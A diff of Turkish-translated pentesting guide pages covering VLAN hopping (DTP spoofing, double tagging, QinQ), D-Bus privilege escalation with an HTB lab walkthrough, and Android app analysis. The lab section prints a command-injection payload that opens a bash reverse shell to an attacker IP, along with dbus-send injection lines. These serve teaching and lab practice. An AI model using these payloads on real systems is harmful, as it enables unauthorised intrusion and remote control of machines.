|
||||
Bağlantı, VLAN'lar 10, 20, 50 ve 60 için varsayılan geçitlere ICMP istekleri başlatarak test edilir.
|
||||
|
||||
Sonuç olarak, bu süreç VLAN segmentasyonunu aşmayı sağlar, böylece herhangi bir VLAN ağına sınırsız erişim sağlanır ve sonraki eylemler için zemin hazırlanır.
|
||||
Sonuç olarak, bu süreç VLAN segmentasyonunun aşılmasını sağlar, böylece herhangi bir VLAN ağına sınırsız erişim sağlanır ve sonraki eylemler için zemin hazırlanır.
|
||||
|
||||
---
|
||||
|
||||
## Diğer VLAN-Hopping Teknikleri (yetkili switch CLI olmadan)
|
||||
|
||||
Önceki yöntem, switch'e kimlik doğrulamalı konsol veya Telnet/SSH erişimi olduğunu varsayar. Gerçek dünya etkileşimlerinde, saldırgan genellikle **normal erişim portuna** bağlıdır. Aşağıdaki Layer-2 hileleri, switch OS'ye hiç giriş yapmadan yanlamasına geçiş yapmanıza genellikle izin verir:
|
||||
Önceki yöntem, switch'e kimlik doğrulamalı konsol veya Telnet/SSH erişimi olduğunu varsayar. Gerçek dünya etkileşimlerinde, saldırgan genellikle **normal bir erişim portuna** bağlıdır. Aşağıdaki Layer-2 hileleri, switch OS'ye hiç giriş yapmadan yanlamasına geçiş yapmanıza genellikle izin verir:
|
||||
|
||||
### 1. Dinamik Trunking Protokolü (DTP) ile Switch-Spoofing
|
||||
|
||||
DTP'yi etkin tutan Cisco switch'leri, eşin bir switch olduğunu iddia etmesi durumunda bir trunk'ı memnuniyetle müzakere eder. Tek bir **DTP “desirable”** veya **“trunk”** çerçevesi oluşturmak, erişim portunu *tüm* izin verilen VLAN'ları taşıyan 802.1Q trunk'a dönüştürür.
|
||||
DTP'yi etkin tutan Cisco switch'leri, eşin bir switch olduğunu iddia etmesi durumunda trunk müzakeresi yapmaktan memnuniyet duyar. Tek bir **DTP “istenen”** veya **“trunk”** çerçevesi oluşturmak, erişim portunu *tüm* izin verilen VLAN'ları taşıyan bir 802.1Q trunk'a dönüştürür.
|
||||
|
||||
*Yersinia* ve birkaç PoC süreci otomatikleştirir:
|
||||
*Yersinia* ve birkaç PoC bu süreci otomatikleştirir:
|
||||
```bash
|
||||
# Become a trunk using Yersinia (GUI)
|
||||
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
@ -85,15 +85,15 @@ python3 DoubleTagging.py \
|
||||
--victim 10.10.20.24 \
|
||||
--attacker 10.10.1.54
|
||||
```
|
||||
Paket geçişi:
|
||||
Packet walk-through:
|
||||
1. Dış etiket (1), yerel VLAN ile eşleştiği için ilk anahtar tarafından çıkarılır.
|
||||
2. İç etiket (20) artık açığa çıktı; çerçeve VLAN 20'ye doğru trunk üzerinden iletilir.
|
||||
|
||||
Bu teknik, 2025 yılında yerel VLAN'ı varsayılan olarak bırakan ve etiketlenmemiş çerçeveleri kabul eden ağlarda hala çalışmaktadır.
|
||||
|
||||
### 3. QinQ (802.1ad) Yığma
|
||||
### 3. QinQ (802.1ad) Stacking
|
||||
|
||||
Birçok kurumsal çekirdek, *Q-in-Q* hizmet sağlayıcı kapsüllemesini destekler. İzin verildiğinde, bir saldırgan, güvenlik bölgelerini aşmak için bir sağlayıcı (S-etiket) içinde rastgele 802.1Q etiketli trafiği tünelleme yapabilir. 802.1ad etiket türü 0x88a8 için yakalama yapın ve dış etiketi Scapy ile çıkarmayı deneyin:
|
||||
Birçok kurumsal çekirdek, *Q-in-Q* hizmet sağlayıcı kapsüllemeyi destekler. İzin verildiğinde, bir saldırgan, güvenlik bölgelerini aşmak için bir sağlayıcı (S-etiket) içinde rastgele 802.1Q etiketli trafiği tünelleyebilir. 802.1ad etiket türü 0x88a8 için yakalama yapın ve dış etiketi Scapy ile patlatmayı deneyin:
|
||||
```python
|
||||
from scapy.all import *
|
||||
outer = 100 # Service tag
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## **GUI enumeration**
|
||||
|
||||
D-Bus, Ubuntu masaüstü ortamlarında süreçler arası iletişim (IPC) arabulucusu olarak kullanılmaktadır. Ubuntu'da, birkaç mesaj otobüsünün eşzamanlı çalışması gözlemlenmektedir: **sistem otobüsü**, esasen **sistem genelinde ilgili hizmetleri sergilemek için ayrıcalıklı hizmetler tarafından kullanılan** ve her giriş yapmış kullanıcı için yalnızca o kullanıcıya özgü hizmetleri sergileyen bir oturum otobüsü. Burada odak, ayrıcalıkları yükseltme amacımız olduğundan, daha yüksek ayrıcalıklarla (örneğin, root) çalışan hizmetlerle ilişkisi nedeniyle sistem otobüsü üzerinedir. D-Bus'un mimarisinin, istemcilerin iletişim kurmak istedikleri hizmet için belirttikleri adrese göre istemci mesajlarını uygun hizmetlere yönlendiren bir 'yönlendirici' kullandığı belirtilmektedir.
|
||||
D-Bus, Ubuntu masaüstü ortamlarında süreçler arası iletişim (IPC) arabulucusu olarak kullanılmaktadır. Ubuntu'da, birkaç mesaj otobüsünün eşzamanlı çalışması gözlemlenmektedir: **sistem otobüsü**, esasen **sistem genelinde ilgili hizmetleri sergilemek için ayrıcalıklı hizmetler tarafından kullanılan** ve her giriş yapmış kullanıcı için yalnızca o kullanıcıya özgü hizmetleri sergileyen bir oturum otobüsü. Burada odak, ayrıcalıkları yükseltme amacımız olduğundan, daha yüksek ayrıcalıklarla (örneğin, root) çalışan hizmetlerle ilişkili olması nedeniyle esas olarak sistem otobüsüne yöneliktir. D-Bus'un mimarisinin, istemcilerin iletişim kurmak istedikleri hizmet için belirttikleri adrese göre istemci mesajlarını uygun hizmetlere yönlendirmekten sorumlu bir 'yönlendirici' kullandığı belirtilmektedir.
|
||||
|
||||
D-Bus üzerindeki hizmetler, sergiledikleri **nesneler** ve **arayüzler** ile tanımlanır. Nesneler, standart OOP dillerindeki sınıf örneklerine benzetilebilir; her örnek, bir **nesne yolu** ile benzersiz bir şekilde tanımlanır. Bu yol, bir dosya sistemi yoluna benzer şekilde, hizmet tarafından sergilenen her nesneyi benzersiz bir şekilde tanımlar. Araştırma amaçları için önemli bir arayüz, **org.freedesktop.DBus.Introspectable** arayüzüdür ve tek bir yöntemi, Introspect'i içerir. Bu yöntem, nesnenin desteklediği yöntemlerin, sinyallerin ve özelliklerin XML temsilini döndürür; burada yöntemlere odaklanılmakta, özellikler ve sinyaller hariç tutulmaktadır.
|
||||
D-Bus üzerindeki hizmetler, sergiledikleri **nesneler** ve **arayüzler** ile tanımlanır. Nesneler, standart OOP dillerindeki sınıf örneklerine benzetilebilir; her örnek, bir **nesne yolu** ile benzersiz bir şekilde tanımlanır. Bu yol, bir dosya sistemi yoluna benzer şekilde, hizmet tarafından sergilenen her nesneyi benzersiz bir şekilde tanımlar. Araştırma amaçları için önemli bir arayüz, **org.freedesktop.DBus.Introspectable** arayüzüdür ve tek bir yöntemi, Introspect'i içerir. Bu yöntem, nesnenin desteklediği yöntemlerin, sinyallerin ve özelliklerin XML temsiline döner; burada yöntemlere odaklanılmakta, özellikler ve sinyaller hariç tutulmaktadır.
|
||||
|
||||
D-Bus arayüzü ile iletişim kurmak için iki araç kullanılmıştır: D-Bus tarafından sergilenen yöntemlerin betiklerde kolayca çağrılmasını sağlamak için **gdbus** adlı bir CLI aracı ve her otobüsteki mevcut hizmetleri listelemek ve her hizmetteki nesneleri görüntülemek için tasarlanmış Python tabanlı bir GUI aracı olan [**D-Feet**](https://wiki.gnome.org/Apps/DFeet).
|
||||
```bash
|
||||
@ -16,13 +16,13 @@ sudo apt-get install d-feet
|
||||
|
||||

|
||||
|
||||
İlk resimde D-Bus sistem otobüsüne kaydedilen hizmetler gösterilmektedir, **org.debin.apt** özellikle Sistem Otobüsü butonunu seçtikten sonra vurgulanmıştır. D-Feet bu hizmetten nesneleri sorgular, seçilen nesneler için arayüzleri, yöntemleri, özellikleri ve sinyalleri gösterir, bu ikinci resimde görülmektedir. Her yöntemin imzası da detaylandırılmıştır.
|
||||
İlk görüntüde D-Bus sistem veriyolu ile kaydedilen hizmetler gösterilmektedir, **org.debin.apt** özellikle Sistem Veriyolu düğmesi seçildikten sonra vurgulanmıştır. D-Feet bu hizmetten nesneleri sorgular, seçilen nesneler için arayüzleri, yöntemleri, özellikleri ve sinyalleri gösterir, bu ikinci görüntüde görülmektedir. Her yöntemin imzası da detaylandırılmıştır.
|
||||
|
||||
Dikkate değer bir özellik, hizmetin **işlem kimliği (pid)** ve **komut satırı** bilgilerini göstermesidir; bu, hizmetin yükseltilmiş ayrıcalıklarla çalışıp çalışmadığını doğrulamak için faydalıdır, araştırma açısından önemlidir.
|
||||
|
||||
**D-Feet ayrıca yöntem çağrısı yapmaya da olanak tanır**: kullanıcılar, D-Feet'in hizmete iletmeden önce D-Bus türlerine dönüştürdüğü Python ifadelerini parametre olarak girebilirler.
|
||||
|
||||
Ancak, **bazı yöntemlerin kimlik doğrulaması gerektirdiğini** unutmayın; bu yöntemleri çağırmamıza izin vermeden önce kimlik doğrulaması gerektirir. Amacımız, öncelikle kimlik bilgisi olmadan ayrıcalıklarımızı yükseltmek olduğundan bu yöntemleri göz ardı edeceğiz.
|
||||
Ancak, **bazı yöntemlerin kimlik doğrulaması gerektirdiğini** unutmayın; bu yöntemleri çağırmamıza izin vermeden önce kimlik doğrulaması gerektirir. Amacımız, öncelikle kimlik bilgisi olmadan ayrıcalıklarımızı yükseltmek olduğu için bu yöntemleri göz ardı edeceğiz.
|
||||
|
||||
Ayrıca, bazı hizmetlerin, bir kullanıcının belirli eylemleri gerçekleştirmesine izin verilip verilmeyeceğini sorgulamak için org.freedeskto.PolicyKit1 adlı başka bir D-Bus hizmetini sorguladığını unutmayın.
|
||||
|
||||
@ -56,7 +56,7 @@ org.freedesktop.locale1 - - - (act
|
||||
```
|
||||
#### Bağlantılar
|
||||
|
||||
[Wikipedia'dan:](https://en.wikipedia.org/wiki/D-Bus) Bir süreç bir busa bağlantı kurduğunda, bus bu bağlantıya _benzersiz bağlantı adı_ olarak adlandırılan özel bir bus adı atar. Bu tür bus adları değişmezdir—bağlantı var olduğu sürece değişmeyecekleri garanti edilir—ve daha da önemlisi, bus ömrü boyunca yeniden kullanılamazlar. Bu, o bus'a başka bir bağlantının asla böyle bir benzersiz bağlantı adı almayacağı anlamına gelir, aynı süreç bus'a olan bağlantıyı kapatıp yeni bir tane oluşturursa bile. Benzersiz bağlantı adları, aksi takdirde yasak olan, iki nokta üst üste karakteri ile başladıkları için kolayca tanınabilir.
|
||||
[Wikipedia'dan:](https://en.wikipedia.org/wiki/D-Bus) Bir süreç bir busa bağlantı kurduğunda, bus bu bağlantıya _benzersiz bağlantı adı_ olarak adlandırılan özel bir bus adı atar. Bu tür bus adları değişmezdir—bağlantı var olduğu sürece değişmeyecekleri garanti edilir—ve daha da önemlisi, bus ömrü boyunca yeniden kullanılamazlar. Bu, o bus'a başka bir bağlantının asla böyle bir benzersiz bağlantı adı almayacağı anlamına gelir, aynı süreç bus'a olan bağlantıyı kapatıp yeni bir tane oluşturursa bile. Benzersiz bağlantı adları, aksi takdirde yasak olan iki nokta üst üste karakteri ile başladıkları için kolayca tanınabilir.
|
||||
|
||||
### Servis Nesnesi Bilgisi
|
||||
|
||||
@ -150,16 +150,16 @@ org.freedesktop.DBus.Properties interface - - -
|
||||
.Set method ssv - -
|
||||
.PropertiesChanged signal sa{sv}as - -
|
||||
```
|
||||
Not edin ki `htb.oouch.Block` arayüzünün `.Block` metodu (ilgilendiğimiz). Diğer sütunlardaki "s" bir string beklediğini gösterebilir.
|
||||
Not edin ki `htb.oouch.Block` arayüzünün `.Block` metodu (ilgilendiğimiz olan). Diğer sütunlardaki "s" bir string beklediğini gösterebilir.
|
||||
|
||||
### İzleme/Yakalama Arayüzü
|
||||
|
||||
Yeterli ayrıcalıklara sahip olduğunuzda (sadece `send_destination` ve `receive_sender` ayrıcalıkları yeterli değildir) **D-Bus iletişimini izleyebilirsiniz**.
|
||||
|
||||
Bir **iletişimi izlemek** için **root** olmanız gerekecek. Hala root olma konusunda sorun yaşıyorsanız [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) ve [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) adreslerine bakın.
|
||||
Bir **iletişimi izlemek** için **root** olmanız gerekecek. Eğer root olmanıza rağmen sorun yaşıyorsanız [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) ve [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) adreslerine bakın.
|
||||
|
||||
> [!WARNING]
|
||||
> Eğer D-Bus yapılandırma dosyasını **root olmayan kullanıcıların iletişimi dinlemesine izin verecek şekilde** nasıl yapılandıracağınızı biliyorsanız lütfen **benimle iletişime geçin**!
|
||||
> Eğer D-Bus yapılandırma dosyasını **root olmayan kullanıcıların iletişimi dinlemesine izin verecek şekilde yapılandırmayı** biliyorsanız lütfen **benimle iletişime geçin**!
|
||||
|
||||
İzleme için farklı yollar:
|
||||
```bash
|
||||
@ -194,7 +194,7 @@ Eğer bus'ta çok fazla bilgi varsa, şöyle bir eşleşme kuralı geçirin:
|
||||
```bash
|
||||
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
|
||||
```
|
||||
Birden fazla kural belirtilebilir. Eğer bir mesaj _herhangi_ bir kural ile eşleşirse, mesaj yazdırılacaktır. Şöyle:
|
||||
Birden fazla kural belirtilebilir. Eğer bir mesaj _herhangi_ bir kural ile eşleşiyorsa, mesaj yazdırılacaktır. Böyle:
|
||||
```bash
|
||||
dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
|
||||
```
|
||||
@ -210,7 +210,7 @@ Daha fazla bilgi için [D-Bus belgelerine](http://dbus.freedesktop.org/doc/dbus-
|
||||
|
||||
## **Zayıf Senaryo**
|
||||
|
||||
**HTB'den "oouch" ana bilgisayarında qtc kullanıcısı olarak** _/etc/dbus-1/system.d/htb.oouch.Block.conf_ konumunda bulunan **beklenmedik bir D-Bus yapılandırma dosyası** bulabilirsiniz:
|
||||
**HTB'den "oouch" ana bilgisayarı içindeki qtc kullanıcısı olarak**, _/etc/dbus-1/system.d/htb.oouch.Block.conf_ konumunda bulunan **beklenmedik bir D-Bus yapılandırma dosyası** bulabilirsiniz:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->
|
||||
|
||||
@ -245,12 +245,12 @@ response = block_iface.Block(client_ip)
|
||||
bus.close()
|
||||
return render_template('hacker.html', title='Hacker')
|
||||
```
|
||||
Gördüğünüz gibi, **D-Bus arayüzüne bağlanıyor** ve **"Block" fonksiyonuna** "client_ip" gönderiyor.
|
||||
Gördüğünüz gibi, **bir D-Bus arayüzüne bağlanıyor** ve **"Block" fonksiyonuna** "client_ip" gönderiyor.
|
||||
|
||||
D-Bus bağlantısının diğer tarafında bazı C derlenmiş ikili dosyalar çalışıyor. Bu kod, D-Bus bağlantısında **IP adresini dinliyor ve verilen IP adresini engellemek için `system` fonksiyonu aracılığıyla iptables'ı çağırıyor.**\
|
||||
**`system` çağrısı, komut enjeksiyonuna karşı kasıtlı olarak savunmasızdır, bu nedenle aşağıdaki gibi bir yük, ters bir shell oluşturacaktır:** `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
|
||||
### Sömür
|
||||
### Bunu Sömür
|
||||
|
||||
Bu sayfanın sonunda **D-Bus uygulamasının tam C kodunu** bulabilirsiniz. İçinde, 91-97. satırlar arasında **`D-Bus nesne yolu`** **ve `arayüz adı`nın** **nasıl kaydedildiğini** bulabilirsiniz. Bu bilgi, D-Bus bağlantısına bilgi göndermek için gerekli olacaktır:
|
||||
```c
|
||||
@ -268,7 +268,7 @@ SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
|
||||
```
|
||||
#### Python
|
||||
|
||||
Aşağıdaki python kodu, `block_iface.Block(runme)` aracılığıyla `Block` metoduna D-Bus bağlantısına yükü gönderecektir (_önceki kod parçasından alındığını unutmayın_):
|
||||
Aşağıdaki python kodu, yükü `block_iface.Block(runme)` aracılığıyla `Block` metoduna D-Bus bağlantısına gönderecektir (_önceki kod parçasından alındığını unutmayın_):
|
||||
```python
|
||||
import dbus
|
||||
bus = dbus.SystemBus()
|
||||
@ -282,12 +282,12 @@ bus.close()
|
||||
```bash
|
||||
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
|
||||
```
|
||||
- `dbus-send`, "Mesaj Otobüsü"na mesaj göndermek için kullanılan bir araçtır.
|
||||
- Mesaj Otobüsü – Sistemlerin uygulamalar arasında iletişim kurmasını kolaylaştıran bir yazılımdır. Mesaj Kuyruğu ile ilgilidir (mesajlar sıralı bir şekilde düzenlenir) ancak Mesaj Otobüsü'nde mesajlar bir abonelik modeli ile gönderilir ve ayrıca çok hızlıdır.
|
||||
- `dbus-send`, "Message Bus" a mesaj göndermek için kullanılan bir araçtır.
|
||||
- Message Bus – Sistemlerin uygulamalar arasında iletişim kurmasını kolaylaştıran bir yazılımdır. Mesaj Kuyruğu ile ilişkilidir (mesajlar sıralı bir şekilde düzenlenir) ancak Message Bus'ta mesajlar bir abonelik modeli ile gönderilir ve ayrıca çok hızlıdır.
|
||||
- “-system” etiketi, bunun bir oturum mesajı değil, bir sistem mesajı olduğunu belirtmek için kullanılır (varsayılan olarak).
|
||||
- “–print-reply” etiketi, mesajımızı uygun bir şekilde yazdırmak ve herhangi bir yanıtı insan tarafından okunabilir bir formatta almak için kullanılır.
|
||||
- “–dest=Dbus-Interface-Block” Dbus arayüzünün adresidir.
|
||||
- “–string:” – Arayüze göndermek istediğimiz mesajın türüdür. Mesaj göndermenin birkaç formatı vardır; çift, bayt, boolean, int, objpath gibi. Bunlar arasında, "nesne yolu", bir dosyanın yolunu Dbus arayüzüne göndermek istediğimizde kullanışlıdır. Bu durumda, bir dosya adıyla arayüze bir komut iletmek için özel bir dosya (FIFO) kullanabiliriz. “string:;” – Bu, FIFO ters kabuk dosyası/komutunu yerleştirdiğimiz yerden nesne yolunu tekrar çağırmak içindir.
|
||||
- “–string:” – Arayüze göndermek istediğimiz mesajın türüdür. Mesaj göndermenin birkaç formatı vardır; bunlar arasında double, bytes, booleans, int, objpath bulunmaktadır. Bunlardan “object path”, bir dosyanın yolunu Dbus arayüzüne göndermek istediğimizde kullanışlıdır. Bu durumda, bir dosya adıyla arayüze bir komut iletmek için özel bir dosya (FIFO) kullanabiliriz. “string:;” – Bu, FIFO ters shell dosyası/komutunu yerleştirdiğimiz yerden nesne yolunu tekrar çağırmak içindir.
|
||||
|
||||
_Dikkat edin ki `htb.oouch.Block.Block` içinde, ilk kısım (`htb.oouch.Block`) hizmet nesnesini, son kısım ise (`.Block`) yöntem adını referans alır._
|
||||
|
||||
@ -447,7 +447,7 @@ sudo dbus-map --dump-methods
|
||||
# Polkit istemleri olmadan erişebileceğiniz yöntemleri/özellikleri aktif olarak sorgulayın
|
||||
sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties
|
||||
```
|
||||
* Araç, korunmasız bilinen adları `!` ile işaretler, böylece *sahip olabileceğiniz* (devralabileceğiniz) hizmetleri veya yetkisiz bir kabuk üzerinden erişilebilen yöntem çağrılarını anında ortaya çıkarır.
|
||||
* Araç, korunmasız bilinen adları `!` ile işaretler, böylece *sahip olabileceğiniz* (devralabileceğiniz) hizmetleri veya yetkisiz bir kabuktan erişilebilen yöntem çağrılarını anında ortaya çıkarır.
|
||||
|
||||
### uptux.py
|
||||
* Yazar: @initstring – [https://github.com/initstring/uptux](https://github.com/initstring/uptux)
|
||||
@ -488,7 +488,7 @@ Bir yamanın uygun `polkit_authority_check_authorization()` mantığını geri t
|
||||
```bash
|
||||
grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/dbus-1/system.d /usr/share/dbus-1/system.d
|
||||
```
|
||||
* Tehlikeli yöntemler için Polkit gerektirin – hatta *kök* proxy'ler, kendi PID'lerini `polkit_authority_check_authorization_sync()`'e iletmelidir.
|
||||
* Tehlikeli yöntemler için Polkit gerektirin – hatta *kök* proxy'ler bile kendi PID'lerini `polkit_authority_check_authorization_sync()`'a iletmelidir.
|
||||
* Uzun süreli yardımcı programlarda ayrıcalıkları düşürün (otobüse bağlandıktan sonra ad alanlarını değiştirmek için `sd_pid_get_owner_uid()` kullanın).
|
||||
* Bir hizmeti kaldıramıyorsanız, en azından onu özel bir Unix grubuna *sınırlayın* ve XML politikasında erişimi kısıtlayın.
|
||||
* Mavi takım: `busctl capture --output=/var/log/dbus_$(date +%F).pcap` ile sistem otobüsünün sürekli yakalanmasını etkinleştirin ve anomali tespiti için Wireshark'a aktarın.
|
||||
|
@ -13,7 +13,7 @@ android-applications-basics.md
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Bu, bir android cihazına (emüle edilmiş veya fiziksel) bağlanmak için ihtiyaç duyduğunuz ana araçtır.\
|
||||
**ADB**, cihazları bir bilgisayardan **USB** veya **Ağ** üzerinden kontrol etmeyi sağlar. Bu yardımcı program, dosyaların her iki yönde **kopyalanması**, uygulamaların **yüklenmesi** ve **kaldırılması**, kabuk komutlarının **çalıştırılması**, verilerin **yedeklenmesi**, **logların** okunması gibi işlevleri yerine getirir.
|
||||
**ADB**, cihazları bir bilgisayardan **USB** veya **Ağ** üzerinden kontrol etmeyi sağlar. Bu yardımcı program, dosyaların her iki yönde **kopyalanmasını**, uygulamaların **yüklenmesini** ve **kaldırılmasını**, kabuk komutlarının **çalıştırılmasını**, verilerin **yedeklenmesini**, günlüklerin **okunmasını** ve diğer işlevleri mümkün kılar.
|
||||
|
||||
ADB'yi nasıl kullanacağınızı öğrenmek için aşağıdaki [**ADB Komutları**](adb-commands.md) listesine göz atın.
|
||||
|
||||
@ -64,28 +64,28 @@ APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.c
|
||||
|
||||
**Firebase**
|
||||
|
||||
**firebase URL'lerine** özel dikkat gösterin ve kötü yapılandırılıp yapılandırılmadığını kontrol edin. [Firebase nedir ve nasıl istismar edilir hakkında daha fazla bilgi burada.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
**firebase URL'lerine** özel dikkat edin ve kötü yapılandırılıp yapılandırılmadığını kontrol edin. [Firebase nedir ve nasıl istismar edilir hakkında daha fazla bilgi burada.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Uygulamanın Temel Anlayışı - Manifest.xml, strings.xml
|
||||
|
||||
Bir uygulamanın _Manifest.xml_ ve **_strings.xml_** dosyalarının **incelemesi potansiyel güvenlik açıklarını ortaya çıkarabilir**. Bu dosyalar dekompilerler kullanılarak veya APK dosya uzantısı .zip olarak yeniden adlandırılıp çıkarılarak erişilebilir.
|
||||
Bir uygulamanın _Manifest.xml_ ve **_strings.xml_** dosyalarının **incelenmesi potansiyel güvenlik açıklarını ortaya çıkarabilir**. Bu dosyalar dekompilerler kullanılarak veya APK dosya uzantısı .zip olarak yeniden adlandırılıp açılarak erişilebilir.
|
||||
|
||||
**Manifest.xml** dosyasından tespit edilen **güvenlik açıkları** şunlardır:
|
||||
|
||||
- **Debuggable Uygulamalar**: _Manifest.xml_ dosyasında debuggable olarak ayarlanmış (`debuggable="true"`) uygulamalar, bağlantılara izin vererek istismar riskini artırır. Debuggable uygulamaları nasıl istismar edeceğiniz hakkında daha fazla bilgi için, bir cihazda debuggable uygulamaları bulma ve istismar etme üzerine bir eğitime başvurun.
|
||||
- **Yedekleme Ayarları**: Hassas bilgilerle ilgilenen uygulamalar için `android:allowBackup="false"` niteliği açıkça ayarlanmalıdır, böylece adb üzerinden yetkisiz veri yedeklemeleri önlenir, özellikle USB hata ayıklama etkinleştirildiğinde.
|
||||
- **Debuggable Uygulamalar**: _Manifest.xml_ dosyasında debuggable olarak ayarlanmış (`debuggable="true"`) uygulamalar, bağlantılara izin vererek istismar riskini artırır. Debuggable uygulamaları nasıl istismar edeceğinizi anlamak için, bir cihazda debuggable uygulamaları bulma ve istismar etme üzerine bir eğitime başvurun.
|
||||
- **Yedekleme Ayarları**: Hassas bilgilerle ilgilenen uygulamalar için `android:allowBackup="false"` niteliği açıkça ayarlanmalıdır, böylece adb üzerinden yetkisiz veri yedeklemeleri önlenir, özellikle usb hata ayıklama etkinleştirildiğinde.
|
||||
- **Ağ Güvenliği**: _res/xml/_ içindeki özel ağ güvenliği yapılandırmaları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleri ve HTTP trafiği ayarları gibi güvenlik detaylarını belirtebilir. Örneğin, belirli alanlar için HTTP trafiğine izin vermek.
|
||||
- **Dışa Aktarılan Aktiviteler ve Servisler**: Manifestte dışa aktarılan aktiviteleri ve servisleri tanımlamak, kötüye kullanılabilecek bileşenleri vurgulayabilir. Dinamik testler sırasında daha fazla analiz, bu bileşenleri nasıl istismar edeceğinizi ortaya çıkarabilir.
|
||||
- **İçerik Sağlayıcıları ve FileProviders**: Açık içerik sağlayıcıları, yetkisiz erişim veya veri değişikliği izni verebilir. FileProviders'ın yapılandırması da incelenmelidir.
|
||||
- **Broadcast Alıcıları ve URL Şemaları**: Bu bileşenler istismar için kullanılabilir, URL şemalarının giriş açıkları için nasıl yönetildiğine özel dikkat gösterilmelidir.
|
||||
- **SDK Sürümleri**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` nitelikleri desteklenen Android sürümlerini belirtir, güvenlik nedenleriyle eski, savunmasız Android sürümlerinin desteklenmemesinin önemini vurgular.
|
||||
- **Broadcast Alıcıları ve URL Şemaları**: Bu bileşenler istismar için kullanılabilir, özellikle URL şemalarının giriş açıkları için nasıl yönetildiğine dikkat edilmelidir.
|
||||
- **SDK Sürümleri**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` nitelikleri desteklenen Android sürümlerini gösterir, güvenlik nedenleriyle eski, savunmasız Android sürümlerinin desteklenmemesinin önemini vurgular.
|
||||
|
||||
**strings.xml** dosyasından, API anahtarları, özel şemalar ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir, bu da bu kaynakların dikkatli bir şekilde gözden geçirilmesi gerektiğini vurgular.
|
||||
**strings.xml** dosyasından, API anahtarları, özel şemalar ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir, bu da bu kaynakların dikkatli bir şekilde gözden geçirilmesi gerekliliğini vurgular.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamasının üzerine yerleştiği** bir saldırıdır. Kurban uygulamasını görünür bir şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, bu arada etkileşimi kurban uygulamasına iletmektedir.\
|
||||
Sonuç olarak, bu, **kullanıcının aslında kurban uygulamasında eylemler gerçekleştirdiğini bilmesini engellemektedir**.
|
||||
**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamasının üzerine yerleştiği** bir saldırıdır. Kurban uygulamayı görünür şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, oysa etkileşim kurban uygulamasına iletilmektedir.\
|
||||
Sonuç olarak, bu durum **kullanıcının aslında kurban uygulamasında eylem gerçekleştirdiğini bilmesini engellemektedir**.
|
||||
|
||||
Daha fazla bilgi için:
|
||||
|
||||
@ -95,7 +95,7 @@ tapjacking.md
|
||||
|
||||
### Görev Ele Geçirme
|
||||
|
||||
**`launchMode`**'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **aktivite**, görev ele geçirmeye karşı savunmasızdır. Bu, bir **uygulamanın** kurulabileceği ve gerçek uygulamadan önce başlatılırsa, gerçek uygulamanın görevini **ele geçirebileceği** anlamına gelir (bu durumda kullanıcı, **kötü niyetli uygulama ile etkileşimde bulunurken gerçek olanı kullandığını düşünecektir**).
|
||||
**`launchMode`**'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **aktivite**, görev ele geçirmeye karşı savunmasızdır. Bu, bir **uygulamanın** kurulabileceği ve gerçek uygulamadan önce başlatılırsa, gerçek uygulamanın görevini **ele geçirebileceği** anlamına gelir (bu durumda kullanıcı, **gerçek uygulamayı kullanıyormuş gibi kötü niyetli uygulama ile etkileşimde bulunacaktır**).
|
||||
|
||||
Daha fazla bilgi için:
|
||||
|
||||
@ -107,12 +107,12 @@ android-task-hijacking.md
|
||||
|
||||
**Dahili Depolama**
|
||||
|
||||
Android'de, **dahili** depolamada **saklanan** dosyalar, yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi, Android işletim sistemi tarafından **uygulanır** ve çoğu uygulamanın güvenlik ihtiyaçları için genellikle yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar, bu dosyalara diğer uygulamalar, potansiyel olarak kötü niyetli olanlar da dahil olmak üzere, erişimi **kısıtlamaz**.
|
||||
